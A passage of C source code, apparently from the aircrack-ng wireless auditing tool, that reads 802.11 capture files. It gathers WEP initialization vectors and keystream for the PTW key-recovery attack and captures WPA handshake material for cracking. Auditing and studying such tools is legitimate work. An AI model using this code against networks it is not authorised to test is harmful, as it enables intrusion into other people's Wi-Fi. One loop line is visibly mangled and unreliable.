memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( bssid, opt.bssid, 6 ) != 0 ) goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; // Shortcut to set encryption: // - WEP is 2 for 'crypt' and 1 for 'amode'. // - WPA is 3 for 'crypt' and 2 for 'amode'. if (opt.forced_amode) ap_cur->crypt = opt.amode + 1; if (opt.do_ptw == 1) { ap_cur->ptw_clean = PTW_newattackstate(); if (!ap_cur->ptw_clean) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } ap_cur->ptw_vague = PTW_newattackstate(); if (!ap_cur->ptw_vague) { perror("PTW_newattackstate()"); free(ap_cur); ap_cur = NULL; break; } } } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { memcpy( ap_cur->essid, buffer, ivs2.len); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; if (PTW_addsession(ap_cur->ptw_clean, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_clean++; if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+4, PTW_DEFAULTWEIGHT, 1)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[4]; buffer[4] = buffer[5]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; // all_ivs[256*256*buffer[0] + 256*buffer[1] + buffer[2]].used |= GOT_IV; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; memcpy(weight, buffer+clearsize-15*sizeof(int), 16*sizeof(int)); // printf("weight 1: %d, weight 2: %d\n", weight[0], weight[1]); if (PTW_addsession(ap_cur->ptw_vague, buffer, buffer+6, weight, buffer[4])) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } buffer[3] = buffer[6]; buffer[4] = buffer[7]; buffer[3] ^= 0xAA; buffer[4] ^= 0xAA; /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { /* add the IV & first two encrypted bytes */ n = ap_cur->nb_ivs * 5; if( n + 5 > ap_cur->ivbuf_size ) { /* enlarge the IVs buffer */ ap_cur->ivbuf_size += 131072; ap_cur->ivbuf = (uchar *) realloc( ap_cur->ivbuf, ap_cur->ivbuf_size ); if( ap_cur->ivbuf == NULL ) { perror( "realloc failed" ); break; } } memcpy( ap_cur->ivbuf + n, buffer, 5 ); uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); } p += 2 + p[1]; } } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { if( !opt.forced_amode ) { ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0) { /* encryption = WPA */ ap_cur->crypt = 3; } } /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, i, j, k; int weight[16]; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } memset(weight, 0, sizeof(weight)); memset(clear, 0, sizeof(clear)); /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; for (j=0; jptw_clean, body, clear, weight, k)) ap_cur->nb_ivs_clean++; } if (PTW_addsession(ap_cur->ptw_vague, body, clear, weight, k)) ap_cur->nb_ivs_vague++; goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); memcpy( buffer + 3, h80211 + z + 4, 2 ); /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { buffer[3] = (buffer[3] ^ 0x42) ^ 0xAA; buffer[4] = (buffer[4] ^ 0x42) ^ 0xAA; } goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; if( !opt.forced_amode ) ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } /* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) != 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state |= 1; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version */ st_cur->wpa.keyver = h80211[z + 6] & 7; } } if( st_cur->wpa.state == 7 ) { /* got one valid handshake */ memcpy( st_cur->wpa.stmac, stmac, 6 ); memcpy( &ap_cur->wpa, &st_cur->wpa, sizeof( struct WPA_hdsk ) ); } unlock_mx_apl: pthread_mutex_unlock( &mx_apl ); if( ap_cur != NULL ) { if( ( ap_cur->nb_ivs >= opt.max_ivs) || ( ap_cur->nb_ivs_clean >= opt.max_ivs ) || ( ap_cur->nb_ivs_vague >= opt.max_ivs ) ) { eof_wait( &eof_notified ); return; } } } read_fail: if(rb.buf1 != NULL) { free(rb.buf1); rb.buf1=NULL; } if(rb.buf2 != NULL) { free(rb.buf2); rb.buf2=NULL; } if(buffer != NULL) { free(buffer); buffer=NULL; } if(close_aircrack) return; //everything is going down kill( 0, SIGTERM ); _exit( FAILURE ); } void check_thread( void *arg ) { int fd, n, fmt; uint z; read_buf rb; // int ret=0; uchar bssid[6]; uchar dest[6]; uchar stmac[6]; uchar *buffer; uchar *h80211; uchar *p; int weight[16]; struct ivs2_pkthdr ivs2; struct ivs2_filehdr fivs2; struct pcap_pkthdr pkh; struct pcap_file_header pfh; struct AP_info *ap_prv, *ap_cur; struct ST_info *st_prv, *st_cur; memset( &rb, 0, sizeof( rb ) ); ap_cur = NULL; if( ( buffer = (uchar *) malloc( 65536 ) ) == NULL ) { /* there is no buffer */ perror( "malloc failed" ); goto read_fail; } h80211 = buffer; if( ! opt.is_quiet ) printf( "Opening %s\n", (char *) arg ); if( strcmp( arg, "-" ) == 0 ) fd = 0; else { if( ( fd = open( (char *) arg, O_RDONLY | O_BINARY ) ) < 0 ) { perror( "open failed" ); goto read_fail; } } if( ! atomic_read( &rb, fd, 4, &pfh ) ) { perror( "read(file header) failed" ); goto read_fail; } fmt = FORMAT_IVS; if( memcmp( &pfh, IVSONLY_MAGIC, 4 ) != 0 && memcmp( &pfh, IVS2_MAGIC, 4 ) != 0) { fmt = FORMAT_CAP; if( pfh.magic != TCPDUMP_MAGIC && pfh.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "Unsupported file format " "(not a pcap or IVs file).\n" ); goto read_fail; } /* read the rest of the pcap file header */ if( ! atomic_read( &rb, fd, 20, (uchar *) &pfh + 4 ) ) { perror( "read(file header) failed" ); goto read_fail; } /* take care of endian issues and check the link type */ if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( pfh.linktype ); if( pfh.linktype != LINKTYPE_IEEE802_11 && pfh.linktype != LINKTYPE_PRISM_HEADER && pfh.linktype != LINKTYPE_RADIOTAP_HDR && pfh.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "This file is not a regular " "802.11 (wireless) capture.\n" ); goto read_fail; } } else { if( opt.wep_decloak ) { errx(1, "Can't use decloak wep mode with ivs\n"); /* XXX */ } if (memcmp( &pfh, IVS2_MAGIC, 4 ) == 0) { fmt = FORMAT_IVS2; if( ! atomic_read( &rb, fd, sizeof(struct ivs2_filehdr), (uchar *) &fivs2 ) ) { perror( "read(file header) failed" ); goto read_fail; } if(fivs2.version > IVS2_VERSION) { printf( "Error, wrong %s version: %d. Supported up to version %d.\n", IVS2_EXTENSION, fivs2.version, IVS2_VERSION ); goto read_fail; } } else if (opt.do_ptw) errx(1, "Can't do PTW with old IVS files, recapture without --ivs or use airodump-ng >= 1.0\n"); /* XXX */ } /* avoid blocking on reading the file */ if( fcntl( fd, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); goto read_fail; } while( 1 ) { if(close_aircrack) break; if( fmt == FORMAT_IVS ) { /* read one IV */ while( ! atomic_read( &rb, fd, 1, buffer ) ) goto read_fail; if( buffer[0] != 0xFF ) { /* new access point MAC */ bssid[0] = buffer[0]; while( ! atomic_read( &rb, fd, 5, bssid + 1 ) ) goto read_fail; } while( ! atomic_read( &rb, fd, 5, buffer ) ) goto read_fail; } else if( fmt == FORMAT_IVS2 ) { while( ! atomic_read( &rb, fd, sizeof( struct ivs2_pkthdr ), &ivs2 ) ) goto read_fail; if(ivs2.flags & IVS2_BSSID) { while( ! atomic_read( &rb, fd, 6, bssid ) ) goto read_fail; ivs2.len -= 6; } while( ! atomic_read( &rb, fd, ivs2.len, buffer ) ) goto read_fail; } else { while( ! atomic_read( &rb, fd, sizeof( pkh ), &pkh ) ) goto read_fail; if( pfh.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } if( pkh.caplen <= 0 || pkh.caplen > 65535 ) { fprintf( stderr, "\nInvalid packet capture length %d - " "corrupted file?\n", pkh.caplen ); goto read_fail; _exit( FAILURE ); } while( ! atomic_read( &rb, fd, pkh.caplen, buffer ) ) goto read_fail; h80211 = buffer; if( pfh.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else { n = *(int *)( h80211 + 4 ); if( pfh.magic == TCPDUMP_CIGAM ) SWAP32( n ); } if( n < 8 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } if( pfh.linktype == LINKTYPE_PPI_HDR ) { /* Remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) pkh.caplen ) continue; /* for a whole Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) pkh.caplen ) continue; h80211 += n; pkh.caplen -= n; } } /* prevent concurrent access on the linked list */ pthread_mutex_lock( &mx_apl ); nb_pkt++; if( fmt == FORMAT_CAP ) { /* skip packets smaller than a 802.11 header */ if( pkh.caplen < 24 ) goto unlock_mx_apl; /* skip (uninteresting) control frames */ if( ( h80211[0] & 0x0C ) == 0x04 ) goto unlock_mx_apl; /* locate the access point's MAC address */ switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); break; //Adhoc case 1: memcpy( bssid, h80211 + 4, 6 ); break; //ToDS case 2: memcpy( bssid, h80211 + 10, 6 ); break; //FromDS case 3: memcpy( bssid, h80211 + 10, 6 ); break; //WDS -> Transmitter taken as BSSID } switch( h80211[1] & 3 ) { case 0: memcpy( dest, h80211 + 4, 6 ); break; //Adhoc case 1: memcpy( dest, h80211 + 16, 6 ); break; //ToDS case 2: memcpy( dest, h80211 + 4, 6 ); break; //FromDS case 3: memcpy( dest, h80211 + 16, 6 ); break; //WDS -> Transmitter taken as BSSID } //skip corrupted keystreams in wep decloak mode if(opt.wep_decloak) { if(dest[0] == 0x01) goto unlock_mx_apl; } } if(opt.bssidmerge) mergebssids(opt.bssidmerge, bssid); if( memcmp( bssid, BROADCAST, 6 ) == 0 ) /* probe request or such - skip the packet */ goto unlock_mx_apl; if( memcmp( opt.maddr, ZERO, 6 ) != 0 && memcmp( opt.maddr, BROADCAST, 6 ) != 0 ) { /* apply the MAC filter */ if( memcmp( opt.maddr, h80211 + 4, 6 ) != 0 && memcmp( opt.maddr, h80211 + 10, 6 ) != 0 && memcmp( opt.maddr, h80211 + 16, 6 ) != 0 ) goto unlock_mx_apl; } /* search the linked list */ ap_prv = NULL; ap_cur = ap_1st; while( ap_cur != NULL ) { if( ! memcmp( ap_cur->bssid, bssid, 6 ) ) break; ap_prv = ap_cur; ap_cur = ap_cur->next; } /* if it's a new access point, add it */ if( ap_cur == NULL ) { if( ! ( ap_cur = (struct AP_info *) malloc( sizeof( struct AP_info ) ) ) ) { perror( "malloc failed" ); break; } memset( ap_cur, 0, sizeof( struct AP_info ) ); if( ap_1st == NULL ) ap_1st = ap_cur; else ap_prv->next = ap_cur; memcpy( ap_cur->bssid, bssid, 6 ); ap_cur->crypt = -1; // Shortcut to set encryption: // - WEP is 2 for 'crypt' and 1 for 'amode'. // - WPA is 3 for 'crypt' and 2 for 'amode'. if (opt.forced_amode) ap_cur->crypt = opt.amode + 1; } if( fmt == FORMAT_IVS ) { ap_cur->crypt = 2; add_wep_iv: /* check for uniqueness first */ if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } goto unlock_mx_apl; } if( fmt == FORMAT_IVS2 ) { if(ivs2.flags & IVS2_ESSID) { if (ivs2.len > 32) { // Max length of the ESSID (and length -1 of that field) fprintf(stderr, "Invalid SSID length, it must be <= 32\n"); exit(1); } memcpy( ap_cur->essid, buffer, ivs2.len); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } else if(ivs2.flags & IVS2_XOR) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (clearsize < opt.keylen+3) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_PTW) { ap_cur->crypt = 2; if (opt.do_ptw) { int clearsize; clearsize = ivs2.len; if (buffer[5] < opt.keylen) goto unlock_mx_apl; if( clearsize < (6 + buffer[4]*32 + 16*(signed)sizeof(int)) ) goto unlock_mx_apl; } if( ap_cur->nb_ivs == 0 ) ap_cur->uiv_root = uniqueiv_init(); if( uniqueiv_check( ap_cur->uiv_root, buffer ) == 0 ) { uniqueiv_mark( ap_cur->uiv_root, buffer ); ap_cur->nb_ivs++; } } else if(ivs2.flags & IVS2_WPA) { ap_cur->crypt = 3; memcpy( &ap_cur->wpa, buffer, sizeof( struct WPA_hdsk ) ); } goto unlock_mx_apl; } /* locate the station MAC in the 802.11 header */ st_cur = NULL; switch( h80211[1] & 3 ) { case 0: memcpy( stmac, h80211 + 10, 6 ); break; case 1: memcpy( stmac, h80211 + 10, 6 ); break; case 2: /* reject broadcast MACs */ if( (h80211[4]%2) != 0 ) goto skip_station; memcpy( stmac, h80211 + 4, 6 ); break; default: goto skip_station; break; } st_prv = NULL; st_cur = ap_cur->st_1st; while( st_cur != NULL ) { if( ! memcmp( st_cur->stmac, stmac, 6 ) ) break; st_prv = st_cur; st_cur = st_cur->next; } /* if it's a new supplicant, add it */ if( st_cur == NULL ) { if( ! ( st_cur = (struct ST_info *) malloc( sizeof( struct ST_info ) ) ) ) { perror( "malloc failed" ); break; } memset( st_cur, 0, sizeof( struct ST_info ) ); if( ap_cur->st_1st == NULL ) ap_cur->st_1st = st_cur; else st_prv->next = st_cur; memcpy( st_cur->stmac, stmac, 6 ); } skip_station: /* packet parsing: Beacon or Probe Response */ if( h80211[0] == 0x80 || h80211[0] == 0x50 ) { if( ap_cur->crypt < 0 ) ap_cur->crypt = ( h80211[34] & 0x10 ) >> 4; p = h80211 + 36; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { /* found a non-cloaked ESSID */ n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } } /* packet parsing: Association Request */ if( h80211[0] == 0x00 ) { p = h80211 + 28; while( p < h80211 + pkh.caplen ) { if( p + 2 + p[1] > h80211 + pkh.caplen ) break; if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' ) { n = ( p[1] > 32 ) ? 32 : p[1]; memset( ap_cur->essid, 0, 33 ); memcpy( ap_cur->essid, p + 2, n ); if(opt.essid_set && ! strcmp( opt.essid, ap_cur->essid ) ) memcpy( opt.bssid, ap_cur->bssid, 6 ); } p += 2 + p[1]; } /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* packet parsing: Association Response */ if( h80211[0] == 0x10 ) { /* reset the WPA handshake state */ if( st_cur != NULL ) st_cur->wpa.state = 0; } /* check if data */ if( ( h80211[0] & 0x0C ) != 0x08 ) goto unlock_mx_apl; /* check minimum size */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) z+=2; /* 802.11e QoS */ if( z + 16 > pkh.caplen ) goto unlock_mx_apl; /* check the SNAP header to see if data is encrypted */ if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 ) { if( !opt.forced_amode ) ap_cur->crypt = 2; /* encryption = WEP */ /* check the extended IV flag */ if( ( h80211[z + 3] & 0x20 ) != 0 && !opt.forced_amode) { /* encryption = WPA */ ap_cur->crypt = 3; } /* check the WEP key index */ if( opt.index != 0 && ( h80211[z + 3] >> 6 ) != opt.index - 1 ) goto unlock_mx_apl; if (opt.do_ptw) { unsigned char *body = h80211 + z; int dlen = pkh.caplen - (body-h80211) - 4 -4; unsigned char clear[2048]; int clearsize, k; if((h80211[1] & 0x03) == 0x03) //30byte header { body += 6; dlen -=6; } /* calculate keystream */ k = known_clear(clear, &clearsize, weight, h80211, dlen); if (clearsize < (opt.keylen+3)) goto unlock_mx_apl; } /* save the IV & first two output bytes */ memcpy( buffer , h80211 + z , 3 ); goto add_wep_iv; } if( ap_cur->crypt < 0 ) ap_cur->crypt = 0; /* no encryption */ /* if ethertype == IPv4, find the LAN address */ z += 6; if( z + 20 < pkh.caplen ) { if( h80211[z] == 0x08 && h80211[z + 1] == 0x00 && ( h80211[1] & 3 ) == 0x01 ) memcpy( ap_cur->lanip, &h80211[z + 14], 4 ); if( h80211[z] == 0x08 && h80211[z + 1] == 0x06 ) memcpy( ap_cur->lanip, &h80211[z + 16], 4 ); } /* check ethertype == EAPOL */ if( h80211[z] != 0x88 || h80211[z + 1] != 0x8E ) goto unlock_mx_apl; z += 2; ap_cur->eapol = 1; /* type == 3 (key), desc. == 254 (WPA) or 2 (RSN) */ if( h80211[z + 1] != 0x03 || ( h80211[z + 4] != 0xFE && h80211[z + 4] != 0x02 ) ) goto unlock_mx_apl; ap_cur->eapol = 0; ap_cur->crypt = 3; /* set WPA */ if( st_cur == NULL ) { pthread_mutex_unlock( &mx_apl ); continue; } /* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) != 0 && ( h80211[z + 5] & 0x01 ) == 0 ) { memcpy( st_cur->wpa.anonce, &h80211[z + 17], 32 ); /* authenticator nonce set */ st_cur->wpa.state = 1; } /* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */ if( ( h80211[z + 6] & 0x08 ) != 0 && ( h80211[z + 6] & 0x40 ) == 0 && ( h80211[z + 6] & 0x80 ) == 0 && ( h80211[z + 5] & 0x01 ) != 0 ) { if( memcmp( &h80211[z + 17], ZERO, 32 ) != 0 ) { memcpy( st_cur->wpa.snonce, &h80211[z + 17], 32 ); /* supplicant nonce set */ st_cur->wpa.state |= 2; } if( (st_cur->wpa.state & 4) != 4 ) { /* copy the MIC & eapol frame */ st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 ) + h80211[z + 3] + 4; if (st_cur->wpa.eapol_size == 0 || st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol) || pkh.len - z < st_cur->wpa.eapol_size) { // Ignore the packet trying to crash us. st_cur->wpa.eapol_size = 0; goto unlock_mx_apl; } memcpy( st_cur->wpa.keymic, &h80211[z + 81], 16 ); memcpy( st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size ); memset( st_cur->wpa.eapol + 81, 0, 16 ); /* eapol frame & keymic set */ st_cur->wpa.state |= 4; /* copy the key descriptor version 